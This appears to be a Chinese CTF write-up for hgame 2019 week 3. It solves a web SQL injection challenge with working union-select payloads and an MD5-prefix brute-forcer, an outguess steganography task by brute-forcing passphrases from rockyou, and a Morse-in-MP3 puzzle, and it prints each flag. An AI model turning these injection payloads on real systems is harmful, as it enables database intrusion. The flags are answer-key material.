week3

注：就做了一个晚上，实在没有时间，week4一定好好做，（捂脸。。。

web

sqli-1

Description

sql 注入 参数是id

URL

http://118.89.111.179:3000/

Base Score 150

Now Score 150

User solved 74

其实就是一个简单的sql注入，应该什么都没有过滤。

给一个code，MD5爆破的代码吧（python2）：

```
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        if md5.hexdigest()[start: start+str_len] == substr:
            print rnds
            stop_event.set()
if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
```

```
        p.start()
    for p in processes:
        p.join()
```

使用方法，进入命令行模式

```
python name.py [string] 0
```

payload

```
118.89.111.179:3000/index.php?code=pwbSo2TtzmfkwoWFKBuQ&id=9 and 1= 2 union select%20
group_concat(f14444444g)from f1l1l1l1g #



http://118.89.111.179:3000/index.php?
code=pEwP6crPsgOQkmkUmI1W&id=9%20and%201=%202%20union%20select%20%20group_concat(column_name)fro
m%20information_schema.columns%20where%20table_name=%27f1l111l1g%27%20#


http://118.89.111.179:3000/index.php?
code=i28QiIV28GDCwvaceykJ&id=9%20and%201=%202%20union%20select%20%20group_concat(table_name)from
%20information_schema.tables%20where%20table_schema=%27hgame%27%20#
```

flag

```
hgame{sql1_1s_iNterest1ng}
```

misc

时至今日，你仍然是我的光芒

Description

你知道Kali下有个强大的字典叫rockyou.txt嘛?密码为 sec.* hint1:DeEgger Embedder hint2:outguess

URL

http://plir4axuz.bkt.clouddn.com/hgame2019/stuff/flag.zip

Base Score 150

Now Score 150

User solved 17

按照提示先下载安装DeEgger Embedder，这是一个可以分离出（合并进）二进制文件的应用，使用该应用将文件分离出来，使用16进制查看器发现是一个jpg文件。

然后根据提示2，outguess，百度并下载安装，这个也是一个下载工具，还有题目描述里面提到rockyou.txt，百度一波，进入kali虚拟机，将rockyou.txt弄出了，并在里面安装outguess,3条命令即可安装

```
git clone https://github.com/crorvick/outguess
cd outguess
./configure && make && make install
```

然后就是使用脚本遍历rockyou.txt里面以sec开头的密码，

脚本如下

```
from subprocess import *

def foo():
    stegoFile='f.jpg'
    extractFile='hide.txt'
    passFile='rockyou.txt'

    errors=['Extracted datalen is','too long','Floating','point exception']
    cmdFormat='outguess -k "%s" -r "%s"  "%s"'
    f=open(passFile,'r')

    for line in f.readlines():
    a = line.strip()
    if a[0:3]!='sec':
        continue
        cmd=cmdFormat %(line.strip(),stegoFile,extractFile)
        p=Popen(cmd,shell=True,stdout=PIPE,stderr=STDOUT)
        content=unicode(p.stdout.read(),'gbk')
        for err in errors:
            if err in content:
                break
        else:
            hh='strings hide.txt | grep hgame'
            hg=Popen(hh,shell=True,stdout=PIPE,stderr=STDOUT)
            hgh=unicode(hg.stdout.read(),'gbk')
            if hgh=='':
                continue
            print hgh
            print content,
            print 'the passphrase is %s' %(line.strip())
            f.close()
            return

if __name__ == '__main__':
    foo()

    print 'ok'
```

```
    pass
```

注：注意更改文件名就好

密码为

```
securitypassword
```

flag

```
hgame{Whataya_Want_From_Me}
```

听听音乐?

Description

一首MP3,好好听哦，flag由大写英文字母、数字以及下划线组成，记得添加hgame{}

URL

http://plir4axuz.bkt.clouddn.com/hgame2019/a80509c91f30027ca21b069e7d94fa7718ab2e40684628c41943bf647f3d7c6a/stego.mp3

Base Score 150

Now Score 150

User solved 79

签到题，音乐后面有摩尔斯电码，直接丢audacity即可

摩尔斯电码解密

```
FLAG:1T_JU3T_4_EASY_WAV
```

flag

```
hgame{1T_JU3T_4_EASY_WAV}
```